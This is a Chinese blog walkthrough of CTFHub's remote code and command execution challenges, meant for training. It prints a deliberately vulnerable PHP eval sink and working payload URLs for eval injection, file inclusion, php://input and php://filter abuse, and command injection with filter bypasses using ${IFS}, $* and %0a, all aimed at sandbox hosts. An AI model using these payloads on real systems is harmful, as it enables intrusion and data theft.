CTFHUB---RCE

远程代码/命令执行漏洞 

1.eval执行

<?php
if (isset($_REQUEST['cmd'])) {
    eval($_REQUEST["cmd"]);
} else {
    highlight_file(__FILE__);
}
?>

request接受post和get请求,接受cmd参数

使用远程系统命令遍历目录

http://challenge-51609bf458280f0b.sandbox.ctfhub.com:10800/index.php?cmd=system(%27ls%20../../../%27);

使用cat命令查看flag

http://challenge-51609bf458280f0b.sandbox.ctfhub.com:10800/index.php?cmd=system(%27cat%20../../../flag_20969%27);

 

2.文件包含

可以看到里面有一个include() 函数。
首先需要了解一下,什么是include() 的函数。

include()/require()/include_once()/require_once()参数可控的情况下,如导入为非.php文件,则仍按照php语法进行解析,这是include()函数所决定的。

通过 include 或 require 语句,可以将 PHP 文件的内容插入另一个 PHP 文件(在服务器执行它之前)。


可以看到eval函数,将请求的参数作为命令执行。可是txt文件是无法利用的,所以想到刚才的index页面中,有一个include函数,或许可以利用一下.

 

我们通过get提交,将shell.txt的内容合并到index.php中,尝试post提交ctfhub的值,发现被执行了,然后输出了当下目录的文件。 接下来就是查找flag。查看flag了

火狐hackbar

 

 

ctfhub=system('find / -name flag');

ctfhub=system('cat /flag');

 

3.php://input

http://challenge-70a90084222015b8.sandbox.ctfhub.com:10800/?file=php://input

 

 <?php system('ls');?>

<?php system('cat ../../../flag_13152');?>

 

4.远程包含

burp抓包

<?php system('ls');?>

 

 

 <?php system('cat ../../../flag');?>

 

5.读取源代码

 

题目叫做读取源码,所以想到可以使用 php://filter 。

 

但是这里直接告诉了flag所在位置,考虑使用php伪协议中的filter协议直接提取出flag的内容

http://challenge-4ac6d0ebd783d6d3.sandbox.ctfhub.com:10800/?file=php://filter/read=convert.base64-encode/resource=/flag

http://challenge-4ac6d0ebd783d6d3.sandbox.ctfhub.com:10800/?file=php://filter/resource=/flag

 

6.命令注入

 

http://challenge-eb48782442e6d3d0.sandbox.ctfhub.com:10800/?ip=127.0.0.1;ls

http://challenge-eb48782442e6d3d0.sandbox.ctfhub.com:10800/?ip=127.0.0.1;cat 186832781528363.php

查看页面源码

 

 

 

7.过滤cat

http://challenge-6d98a81e8df3cb02.sandbox.ctfhub.com:10800/?ip=127.0.0.1;ls

http://challenge-6d98a81e8df3cb02.sandbox.ctfhub.com:10800/?ip=127.0.0.1;a=c;b=at;$a$b flag_52511980223837.php

a=c;b=at;$a$b

 

8.过滤空格

http://challenge-c1ffb63748fec484.sandbox.ctfhub.com:10800/?ip=127.0.0.1;cat<flag_146652459424083.php

 

9.过滤目录分隔符

http://challenge-3ef465cf6b071b64.sandbox.ctfhub.com:10800/?ip=127.0.0.1|ls

 

http://challenge-8233b2781aff14b8.sandbox.ctfhub.com:10800/?ip=127.0.0.1;cd flag_is_here;ls

 

http://challenge-8233b2781aff14b8.sandbox.ctfhub.com:10800/?ip=127.0.0.1;cd flag_is_here;cat flag_172551398327185.php

页面源码

 

10.过滤运算符

http://challenge-0f9028277c540d53.sandbox.ctfhub.com:10800/?ip=127.0.0.1;ls

http://challenge-0f9028277c540d53.sandbox.ctfhub.com:10800/?ip=127.0.0.1;cat flag_266332145431232.php

 

11.综合过滤练习

url编码中,%0a是换行符,%0d是回车符,可以用这两个进行命令拼接。

http://challenge-d51033ec07189708.sandbox.ctfhub.com:10800/?ip=127.0.0.1%0als

${IFS}取代空格

$*绕过关键词过滤,因为在没有定义的情况下,$*在shell命令执行下为空

http://challenge-d51033ec07189708.sandbox.ctfhub.com:10800/?ip=127.0.0.1%0acd${IFS}fl$*ag_is_here%0als

 

http://challenge-d51033ec07189708.sandbox.ctfhub.com:10800/?ip=127.0.0.1%0acd${IFS}fl$*ag_is_here%0ac$*at${IFS}fl$*ag_1093527463065.php

 

posted @ 2022-04-13 16:08  TinKode  阅读(204)  评论(0)    收藏  举报